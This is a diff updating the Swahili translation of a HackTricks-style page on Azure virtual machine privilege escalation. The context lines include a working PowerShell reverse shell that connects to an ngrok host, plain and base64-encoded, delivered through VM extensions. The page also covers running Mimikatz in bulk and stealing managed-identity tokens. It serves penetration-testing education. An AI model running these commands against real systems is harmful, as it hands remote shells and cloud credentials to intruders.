Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation

src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md

@@ -49,7 +49,7 @@ az vm extension set \
 
 {{#tab name="Windows" }}
 
-- Tekeleza shell ya kinyume
+- Tekeleza shell ya kurudi
 ```bash
 # Get encoded reverse shell
 echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
@@ -65,7 +65,7 @@ az vm extension set \
 --protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="}'
 
 ```
-- Tekeleza shell ya kurudi kutoka kwa faili
+- Tekelea shell ya kinyume kutoka kwa faili
 ```bash
 az vm extension set \
 --resource-group <rsc-group> \
@@ -87,7 +87,7 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
 {{#endtab }}
 {{#endtabs }}
 
-Pia inawezekana kutumia nyongeza zinazojulikana vizuri kutekeleza msimbo au kufanya vitendo vya kibali ndani ya VMs:
+Pia inawezekana kutumia nyongeza maarufu kutekeleza msimbo au kufanya vitendo vya kibali ndani ya VMs:
 
 <details>
 
@@ -165,7 +165,7 @@ Hii ni nyongeza ya VM ambayo itaruhusu kutekeleza runbooks katika VMs kutoka kwa
 
 Hizi ni ruhusa zinazohitajika **kuunda programu mpya ya galleri na kuitekeleza ndani ya VM**. Programu za galleri zinaweza kutekeleza chochote hivyo mshambuliaji anaweza kutumia hii kuathiri mifano ya VM zinazotekeleza amri zisizo na mipaka.
 
-Ruhusa 2 za mwisho zinaweza kuepukwa kwa kushiriki programu hiyo na mpangaji.
+Ruhusa za mwisho 2 zinaweza kuepukwa kwa kushiriki programu hiyo na mpangaji.
 
 Mfano wa unyakuzi wa kutekeleza amri zisizo na mipaka:
 
@@ -298,13 +298,13 @@ Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
 
 ### `Microsoft.Compute/virtualMachines/login/action`
 
-Ruhusa hii inaruhusu mtumiaji **kuingia kama mtumiaji kwenye VM kupitia SSH au RDP** (mradi uthibitisho wa Entra ID umewezeshwa kwenye VM).
+Ruhusa hii inaruhusu mtumiaji **kuingia kama mtumiaji kwenye VM kupitia SSH au RDP** (mradi uthibitishaji wa Entra ID umewezeshwa kwenye VM).
 
 Ingia kupitia **SSH** na **`az ssh vm --name <vm-name> --resource-group <rsc-group>`** na kupitia **RDP** na **vithibitisho vyako vya kawaida vya Azure**.
 
 ### `Microsoft.Compute/virtualMachines/loginAsAdmin/action`
 
-Ruhusa hii inaruhusu mtumiaji **kuingia kama mtumiaji kwenye VM kupitia SSH au RDP** (mradi uthibitisho wa Entra ID umewezeshwa kwenye VM).
+Ruhusa hii inaruhusu mtumiaji **kuingia kama mtumiaji kwenye VM kupitia SSH au RDP** (mradi uthibitishaji wa Entra ID umewezeshwa kwenye VM).
 
 Ingia kupitia **SSH** na **`az ssh vm --name <vm-name> --resource-group <rsc-group>`** na kupitia **RDP** na **vithibitisho vyako vya kawaida vya Azure**.
 
@@ -327,7 +327,7 @@ az vm create \
 ```
 ### `Microsoft.Compute/virtualMachines/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
 
-Ruhusa hizi zinatosha **kuteua utambulisho mpya wa usimamizi kwa VM**. Kumbuka kwamba VM inaweza kuwa na utambulisho kadhaa wa usimamizi. Inaweza kuwa na **ule wa mfumo**, na **utambulisho mwingi wa usimamizi wa mtumiaji**.\
+Hizi ruhusa zinatosha **kuteua utambulisho mpya wa usimamizi kwa VM**. Kumbuka kwamba VM inaweza kuwa na utambulisho kadhaa wa usimamizi. Inaweza kuwa na **ule wa mfumo**, na **utambulisho mwingi wa usimamizi wa mtumiaji**.\
 Kisha, kutoka kwa huduma ya metadata inawezekana kuzalisha tokeni kwa kila mmoja.
 ```bash
 # Get currently assigned managed identities to the VM
@@ -343,4 +343,14 @@ az vm identity assign \
 /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity1 \
 /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity2
 ```
-Kisha
+Kisha mshambuliaji anahitaji **kudhoofisha kwa namna fulani VM** ili kuiba tokens kutoka kwa utambulisho wa usimamizi uliotolewa. Angalia **maelezo zaidi katika**:
+
+{{#ref}}
+https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm
+{{#endref}}
+
+### TODO: Microsoft.Compute/virtualMachines/WACloginAsAdmin/action
+
+Kulingana na [**docs**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute), ruhusa hii inakuwezesha kusimamia OS ya rasilimali yako kupitia Windows Admin Center kama msimamizi. Hivyo inaonekana kama hii inatoa ufikiaji wa WAC kudhibiti VMs...
+
+{{#include ../../../banners/hacktricks-training.md}}